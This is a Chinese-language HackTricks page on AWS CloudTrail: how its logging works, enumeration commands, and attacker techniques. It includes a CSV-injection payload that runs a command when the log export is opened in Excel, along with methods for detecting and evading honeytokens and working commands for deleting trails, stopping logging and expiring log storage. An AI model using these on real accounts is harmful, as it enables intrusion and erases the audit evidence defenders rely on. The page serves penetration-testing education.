AWS - CloudTrail Enum

支持 HackTricks

CloudTrail

AWS CloudTrail 记录和监控您的 AWS 环境中的活动。它捕获详细的事件日志,包括谁在何时何地对 AWS 资源进行了什么操作。这提供了更改和操作的审计跟踪,有助于安全分析、合规审计和资源更改跟踪。CloudTrail 对于理解用户和资源行为、增强安全态势以及确保法规遵从至关重要。

每个记录的事件包含:

  • 调用的 API 名称:eventName

  • 调用的服务:eventSource

  • 时间:eventTime

  • IP 地址:SourceIPAddress

  • 代理方法:userAgent。示例:

  • Signing.amazonaws.com - 来自 AWS 管理控制台

  • console.amazonaws.com - 账户的根用户

  • lambda.amazonaws.com - AWS Lambda

  • 请求参数:requestParameters

  • 响应元素:responseElements

事件大约每 5 分钟写入一个新的日志文件(JSON 文件),由 CloudTrail 保存,最终日志文件大约在 15 分钟后交付到 S3。 CloudTrail 日志可以跨账户和跨区域聚合。 CloudTrail 允许使用日志文件完整性,以便能够验证自 CloudTrail 交付给您以来日志文件是否保持不变。它在摘要文件中创建日志的 SHA-256 哈希。每小时创建一次新日志的 SHA-256 哈希。 创建 Trail 时,事件选择器将允许您指示 Trail 记录:管理、数据或洞察事件。

日志保存在 S3 存储桶中。默认情况下使用服务器端加密(SSE-S3),因此 AWS 将为有访问权限的人解密内容,但为了额外的安全性,您可以使用 KMS 和自己的密钥进行 SSE。

日志存储在具有以下名称格式的 S3 存储桶中

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • BucketName 为:aws-cloudtrail-logs-<accountid>-<random>

  • 示例:aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

每个文件夹中的每个日志将具有以下格式的名称AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

日志文件命名约定

此外,摘要文件(用于检查文件完整性)将位于同一存储桶中:

聚合来自多个账户的日志

  • 在您希望将日志文件传送到的 AWS 账户中创建一个 Trail

  • 对目标 S3 存储桶应用权限,允许 CloudTrail 跨账户访问,并允许每个需要访问的 AWS 账户

  • 在其他 AWS 账户中创建一个新的 Trail,并选择使用步骤 1 中创建的存储桶

然而,即使您可以将所有日志保存到同一个 S3 存储桶中,您也无法将多个账户的 CloudTrail 日志聚合到属于单个 AWS 账户的 CloudWatch Logs 中。

请记住,一个账户可以有不同的 CloudTrail Trails 启用,将相同(或不同)的日志存储在不同的存储桶中。

将所有组织账户的 CloudTrail 集中到一个账户中

创建 CloudTrail 时,可以指示激活整个组织的 CloudTrail 并将日志集中到一个存储桶中:

这样,您可以轻松配置所有账户的所有区域中的 CloudTrail,并将日志集中到一个账户中(您应该保护该账户)。

日志文件检查

您可以通过运行以下命令检查日志是否未被更改

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs to CloudWatch

CloudTrail 可以自动将日志发送到 CloudWatch,以便您可以设置警报,当执行可疑活动时警告您。 请注意,为了允许 CloudTrail 将日志发送到 CloudWatch,需要创建一个允许该操作的 角色。如果可能,建议使用 AWS 默认角色来执行这些操作。此角色将允许 CloudTrail:

  • CreateLogStream: 允许创建 CloudWatch Logs 日志流

  • PutLogEvents: 将 CloudTrail 日志传送到 CloudWatch Logs 日志流

Event History

CloudTrail 事件历史允许您在表格中检查已记录的日志:

Insights

CloudTrail Insights 自动分析来自 CloudTrail trails 的写管理事件,并警告异常活动。例如,如果 TerminateInstance 事件的增加与已建立的基线不同,您将看到它作为 Insight 事件。这些事件使查找和响应异常 API 活动比以往任何时候都更容易

这些洞察存储在与 CloudTrail 日志相同的桶中:BucketName/AWSLogs/AccountID/CloudTrail-Insight

Security

CloudTrail 日志文件完整性

  • 验证日志是否被篡改(修改或删除)

  • 使用摘要文件(为每个文件创建哈希)

    • SHA-256 哈希

    • SHA-256 与 RSA 进行数字签名

    • 私钥由 Amazon 拥有

  • 创建摘要文件需要 1 小时(每小时整点创建)

阻止未经授权的访问

  • 使用 IAM 策略和 S3 桶策略

    • 安全团队 —> 管理员访问

    • 审计员 —> 只读访问

  • 使用 SSE-S3/SSE-KMS 加密日志

防止日志文件被删除

  • 通过 IAM 和桶策略限制删除访问

  • 配置 S3 MFA 删除

  • 通过日志文件验证进行验证

Access Advisor

AWS Access Advisor 依赖于过去 400 天的 AWS CloudTrail 日志来收集其洞察。CloudTrail 捕获在 AWS 账户中进行的 AWS API 调用和相关事件的历史记录。Access Advisor 利用这些数据来显示服务的最后访问时间。通过分析 CloudTrail 日志,Access Advisor 可以确定 IAM 用户或角色访问了哪些 AWS 服务以及何时发生了访问。这有助于 AWS 管理员做出有关精简权限的明智决策,因为他们可以识别长时间未访问的服务,并根据实际使用模式潜在地减少过于宽泛的权限。

因此,Access Advisor 提供有关用户被授予的不必要权限的信息,以便管理员可以删除这些权限

Actions

Enumeration

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

在CloudTrail中可以进行CVS注入,如果日志以CSV格式导出并用Excel打开,将会执行任意代码。 以下代码将生成一个包含恶意Trail名称的日志条目,其中包含有效负载:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

有关 CSV 注入的更多信息,请查看页面:

有关此特定技术的更多信息,请查看 https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

绕过检测

HoneyTokens 绕过

Honeyokens 是为了检测敏感信息的外泄而创建的。在 AWS 的情况下,它们是使用受监控的 AWS 密钥,如果某个操作触发了该密钥的使用,那么一定是有人窃取了该密钥。

然而,像 Canarytokens SpaceCrab SpaceSiren 创建的 Honeytokens 要么使用可识别的账户名称,要么为所有客户使用相同的 AWS 账户 ID。因此,如果你能在不让 Cloudtrail 创建任何日志的情况下获取账户名称和/或账户 ID,你就可以知道该密钥是否是 Honeytoken

Pacu 有一些规则来检测密钥是否属于 Canarytokens SpaceCrab SpaceSiren

  • 如果 canarytokens.org 出现在角色名称中或账户 ID 534261010715 出现在错误消息中。

  • 最近测试时,他们使用的账户是 717712589309,并且名称中仍然包含 canarytokens.com 字符串。

  • 如果 SpaceCrab 出现在错误消息中的角色名称中

  • SpaceSiren 使用 uuids 生成用户名:[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • 如果名称看起来像是随机生成的,那么它很可能是一个 HoneyToken。

从密钥 ID 获取账户 ID

你可以从访问密钥编码账户 ID中获取账户 ID,正如这里解释的那样,并将账户 ID 与你的 Honeytokens AWS 账户列表进行检查:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

查看更多信息在原始研究

不生成日志

最有效的技术其实很简单。只需使用你刚找到的密钥访问你自己攻击者账户中的某些服务。这将使CloudTrail在你自己的AWS账户中生成日志,而不是在受害者的账户中

问题是输出会显示一个错误,指示账户ID和账户名称,因此你将能够看到它是否是一个Honeytoken

没有日志的AWS服务

过去有一些AWS服务不会向CloudTrail发送日志(在这里找到列表)。如果有人未经授权(honeytoken密钥)尝试访问这些服务中的某些服务,它们将响应一个包含密钥角色ARN错误

这样,攻击者可以在不触发任何日志的情况下获取密钥的ARN。在ARN中,攻击者可以看到AWS账户ID和名称,很容易知道HoneyToken的公司账户ID和名称,因此攻击者可以通过这种方式识别该令牌是否是HoneyToken。

请注意,所有被发现不会创建CloudTrail日志的公共API现在都已修复,所以你可能需要找到你自己的...

更多信息请查看原始研究

访问第三方基础设施

某些AWS服务将生成一些基础设施,如数据库Kubernetes集群(EKS)。用户直接与这些服务通信(如Kubernetes API)不会使用AWS API,因此CloudTrail无法看到这种通信。

因此,发现了EKS API URL的用户可以在本地生成一个令牌,并直接与API服务通信而不被CloudTrail检测到

更多信息在:

AWS - EKS Post Exploitation

修改CloudTrail配置

删除trails

aws cloudtrail delete-trail --name [trail-name]

停止 trails

aws cloudtrail stop-logging --name [trail-name]

禁用多区域日志记录

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

通过事件选择器禁用日志记录

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

在第一个示例中,单个事件选择器作为一个包含单个对象的 JSON 数组提供。"ReadWriteType": "ReadOnly" 表示事件选择器应仅捕获只读事件(例如,CloudTrail insights 不会检查写入事件)。

您可以根据您的具体需求自定义事件选择器。

通过 S3 生命周期策略删除日志

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

修改 Bucket 配置

  • 删除 S3 bucket

  • 更改 bucket 策略以拒绝来自 CloudTrail 服务的任何写入

  • 添加生命周期策略到 S3 bucket 以删除对象

  • 禁用用于加密 CloudTrail 日志的 kms 密钥

Cloudtrail 勒索软件

S3 勒索软件

你可以生成一个非对称密钥并让CloudTrail 使用该密钥加密数据,然后删除私钥,这样 CloudTrail 的内容就无法恢复。 这基本上是一个S3-KMS 勒索软件,解释如下:

AWS - S3 Post Exploitation

KMS 勒索软件

这是执行前述攻击的最简单方法,具有不同的权限要求:

AWS - KMS Post Exploitation

参考资料

支持 HackTricks

Last updated